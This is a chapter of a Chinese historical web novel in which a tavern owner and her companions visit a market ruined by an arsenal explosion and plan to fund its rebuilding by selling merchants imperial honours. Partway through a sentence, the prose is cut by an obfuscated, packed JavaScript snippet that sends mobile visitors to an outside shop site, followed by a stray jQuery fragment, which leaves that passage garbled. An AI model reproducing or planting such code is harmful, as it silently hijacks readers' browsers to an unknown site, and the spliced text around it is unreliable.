翌日,谢昭昭早早的就醒来了,一通梳洗之后便下了楼。但不曾想,其他人竟然都比她更早,都已经在大堂做着各自的事了。
叶嫣然和何木在帮忙往里屋搬东西,说是一早他们去采购来的食材,小凌从厨房端着一盘盘早点到大堂的桌上,柳如裳则窝在厨房里忙活。
因为前一日后厨的师傅们做菜做到了很晚,谢昭昭给他们今日放了个假。她本想着去外头的小摊上买点什么吃的当早饭,但柳如裳却觉得食材酒楼内都有,不必去外头再买,遂早早的起来做了一桌早饭,此刻她正在厨房收拾台面。
倒是不见顾临川和裴有道两人。
柳如裳抬眼看到谢昭昭走过来,说道:“今儿个怎么醒的这么早?还想着等过一个时辰再让小凌上去叫你呢,你倒是先下来了。”
谢昭昭说:“估计是前几日躺了太久,这下病好了反而睡不着觉了。怎么说,有没有要我帮忙的?”
“不用,这里我来就行了。”柳如裳将灶台上的一笼包子装在盘子上,递给谢昭昭,“把这个端到外面的桌上吧,早饭我都做好了,你快些去吃吧。”
“那一桌都是你做的?啧啧啧,咱如裳这么贤惠,真是便宜裴有道那家伙儿了。”
柳如裳佯装要打她:“我真想塞两个馒头到你嘴巴里,一大早就吧唧说个不停。”
“不过话说回来,裴有道和顾临川呢?这一圈怎么看不见他俩?”
“他俩估摸着昨晚喝太多了,晚上睡的也不踏实,比我起得还早,我做早饭的时候还帮我搭了把手。”柳如裳说,“原想着大家吃好一起到西市去,但有人来报说西市那出了点问题,裴有道就带着他的几个亲信,随便对付了几口,先过去了。亲亲的头伤要换药,顾临川便带着她们去找郎中去了,说是换好之后直接就去西市,让我们不用等他们。”
谢昭昭忽然想起了什么,凑到柳如裳身边说道:“这二殿下平时看着稳重踏实的,这喝起酒来真是活泼。昨儿个送你们回屋之后,本想着给他喝完姜汤然后也送他回屋的。结果你是不知道,那二殿下生生跟换了个人似的,拉着顾临川和他称兄道弟,怎么都不肯喝。”
柳如裳问:“那后来怎么办?他体格这么壮实,让你和顾临川两个大病初愈的人送他上楼,怕是要费好大一番劲,早知道我也下来帮你们一把了。”
“诶,你不用下来也帮到我们了。”谢昭昭这笑是要憋不住了,“结果我说,二殿下,这汤可是如裳亲手做的,你不喝那如裳可是要难过的!我话都还没有说完呢,那裴有道直接接了过来一口闷,比我和顾临川劝了一百句都管用啊。”
“唔……”
这下柳如裳是真的往谢昭昭嘴巴里塞了两个馒头。
吃好早饭之后,几人也不做别的事了,简单收拾了下便驱车去了西市。
这是爆炸发生之后,谢昭昭第一次回来。比起刚爆炸那天的满目疮痍,此刻的西市已经要好了不少。
先前来的时候,立在坊口的石碑都被震到在地,缺了口角。但眼下已经补了上去,和之前看不出差别。坊口外围的几家本就是有家底的,不过这几日功夫,就已经重新又搭起了屋。
只是坊里头依旧破破烂烂,原先棚户区的那些人家,能掏出修房这笔钱的少之又少,眼下只能把还能用的家具给先收拾出来,暂时躺在露天的地上。
谢昭昭拧着眉:“这都过去几日了,怎么还睡在地上?”
柳如裳叹道:“这也是没有法的事,修建房屋不是一笔小钱,能一下掏出来的家庭也不会住在这儿了。”
小凌说:“这事由朝廷而起,本应该朝廷来负责,但这么多户人家,怕是朝廷想管也有心无力。”
柳如裳说:“这几日官兵和住在棚户区的人,都在一起修建房屋,不止裴有道出了人出了力,大殿下那也使了不少关系,从户政司那挪了钱来。但用钱的地方实在太多,百姓们有怨言,朝廷也不可能全掏了这笔钱。听说今儿个早上裴有道过去,就是因为有百姓不满,嚷嚷着要军火局的人给他们一个说法。”
“朝廷掏不出来,百姓也掏不出来,那钱都在哪?”叶嫣然问道。
谢昭昭说:“自然是流向了那帮达官显贵们,一个比一个精明,在官位上不谋人事,光想着怎么敛更多的财了。我先前去那几位袭爵的世家大族送过东西,家中的园林修的比宫内的都要精致,那仆人侍从日日如流水般穿堂而过,俨然是个小皇宫了。”
“那怎么不让她们捐一些?”
“没有回报的事,有谁会愿意做呢?”
这话一出,车内陷入了一片寂静。玉满楼的生意好,她们自然也过得好,西市的这番景象,着实给了她们冲击。
谢昭昭沉默良久,突然灵光一现,说道:“既然这样,咱们就让那些达官显贵们觉得这是一件有回报的事,不就得了?”
看着其他人投来的疑惑的目光,谢昭昭保持了神秘:“一会儿就知道了。”
“诶,那不是二殿下和顾公子么?”小凌原想着拉开车帘看看到哪了,却正好瞥见了裴有道他们。
何木应声停下了车,几人下车之后,见顾临川已经到了,带着林亲亲和裴有道说着话。虽说是在说话,但裴有道的神情却不甚美妙,皱着个眉,衣服也皱巴巴的,旁边的侍从更是脸上挂了彩。
“怎么了这是?怎的都挂了彩?”柳如裳打量着侍卫身上的伤,问道。
果然如他们所料,是那几个来闹事的百姓所伤。原本是官兵和百姓们一起修建,但官兵们有粮饷可以吃,有工钱可以拿,但百姓们没有,想到房屋是军火局爆炸所致,但修建房屋的钱都要老百姓来掏。百姓们越想越不对,几个性急的便拿着家伙来军火局门口,找来的官员要说法。
裴有道一行人赶来的时候,正巧是两边情绪最激动的时候,就挨了几下打。裴有道他们来了之后,见对方人多,打的又是皇子,那几个闹事的怂了便扔下东西跑了。
“你没有事吧?”柳如裳问道。她仔细看了看裴有道的上上下下,倒是看不出外伤。
裴有道说:“我没有事,有他们几个护着,那些百姓们未曾伤到我。”
“没事就好。”柳如裳让小凌从车上拿了个方盒下来,递给那些护卫,“还好我们来的时候带了药,你们擦上之后,伤口很快就会痊愈的。”
趁着柳如裳给他们发药的功夫,谢昭昭悄悄绕到顾临川这边。
“你怎么样?”
顾临川一下没有反应过来:“什么?”
“伤口。你有受伤么?受伤的话我给你也擦一擦,那药还挺好用的。”
“我没有事。”
顾临川话音未落,被他牵着的林亲亲先开了口:“顾哥哥的手伤了也要擦擦,那□□的时候,顾哥哥为了保护我,手被利器给伤到了。”
“顾兄也伤了?我在这半天,竟然也未曾发觉。”裴有道说。
谢昭昭闻言,视线旋即落到顾临川的手上。
左手…左手没有事。
右手…右手横着划开了一道伤口,血正一滴滴地滴着。
“你真受伤了?”谢昭昭嗓音都上扬了不少。她赶忙从柳如裳那要来了药,不等顾临川推脱,便帮他上起了药。
“我自己来吧。”顾临川说。
谢昭昭不管他,盯着伤口,把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846865|203568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
药小心地均匀撒在上面,然后又用布条一层层包好。
她看着自己包好的“杰作”,说:“出来的急,先用这布条代替下,等回了玉满楼,再让人找郎中来,重新好好包扎一下。”
“哪用这么精细……哎,行吧。”顾临川虽然嘴上嫌折腾,但看到谢昭昭心疼自己的模样,登时便转了话锋,接着她的话答应了下来。
裴有道说:“虽说今天这一波算是过去了,但只怕仅仅只是开始而已。这几日过去,能用上的钱都已经用了,若继续用国库里的钱,前线的战事也一样吃紧,但若不用,那木料石头的钱、请人做工的钱更是不知从何处来。这些百姓他们心里的怨气,只怕攒着还没有处发呢。”
柳如裳问:“这既然是军火局的试验场出了问题,那军火局的官员不该出钱出力么?”
刚才她们来的时候,和军火局的几位大人打了个照面,个个都穿着华服。原本他们是不打算出来应付这些百姓的,但因为裴有道受袭,事关皇家,他们不得不出来招呼一下。眼下闹事的人退散,这些大人们便也寻了个由头回屋去了。
裴有道回答道:“这军火局明面上是朝廷的,但真正的掌权人是那镇远王,也就是现在在前线的那位。他是我皇叔,这军火局便是他一手创立。他虽然战功赫赫,但对于这些百姓,他却是不在意的,他只在意自己手里的军队有多少,在意自己一声令下有多少人愿意为自己冲锋陷阵。”
“更何况,我刚才也提到,军火局的钱就是前线战事的钱,这里用了,那里就会少用。这次爆炸也是因为制药师贪图小利,用了低廉价格的材料才导致配比失衡。让镇远王用前线的钱贴补西市的百姓,这种事他断断不会做的。”
“这倒也是。”柳如裳点点头,“不过刚才在车上,昭昭倒是说她想到了解决钱财的方法,或许可以听听看。”
“噢?”裴有道一听谢昭昭有办法,立刻坐直了身,谢昭昭的聪敏他是见识过的,她说有办法那肯定是有可行性的,“谢掌柜有办法?快细细说来。”
谢昭昭看向顾临川,对方也有点好奇她能想到些什么,便点头鼓励她说。
“其实是突发奇想,具体能不能行也还未可知。”谢昭昭顿了顿,“二殿下,这个方法有些冒昧,您要是听了可不能怪我大不敬。”
“若真能成,我谢谢你,不,整个西市的百姓都得谢谢你,你但说无妨。”
“眼下朝廷的钱不够用,百姓手里的钱也掏不出,而真正有钱的,正好是城里头那帮世家和商贾。那些大世家累世积累,在朝堂的关系也盘根错节,让他们干出钱修房这种事必然推脱,但那些商贾却是一个不错的突破口。”
“此话何意?”
“士农工商,商居尾。商贾自古就不受人重视,身份地位远不如士大夫。纵然有万贯家财,去找人说媒嫁娶,都不如一位清廉的士大夫得脸。很多时候,他们想要的,不过就是一份脸面。若这份脸面能用一些金钱就能够买到,那他们定当欣然奉献。”
谢昭昭的话有理,裴有道原先萎靡的眼神此刻都亮了不少。
“若那些商贾们愿意捐赠钱财,用于西市的修建,那可以让朝廷赐他们些象征身份的东西,例如牌匾之类的,上面写些话,盖上玉玺以示表彰。朝廷不用做些什么,就能够筹到重修西市的钱财。”
“好啊!这个倒真是不错。”裴有道一拍大腿,立刻站了起来。
“只是…只是我怕盖玉玺盖太多了,这事太过草率,会有些不敬圣上……”
裴有道说:“这个你不用担心,我会回宫启禀,只要能够解决西市眼下的情境,想来圣上也不会多说什么。”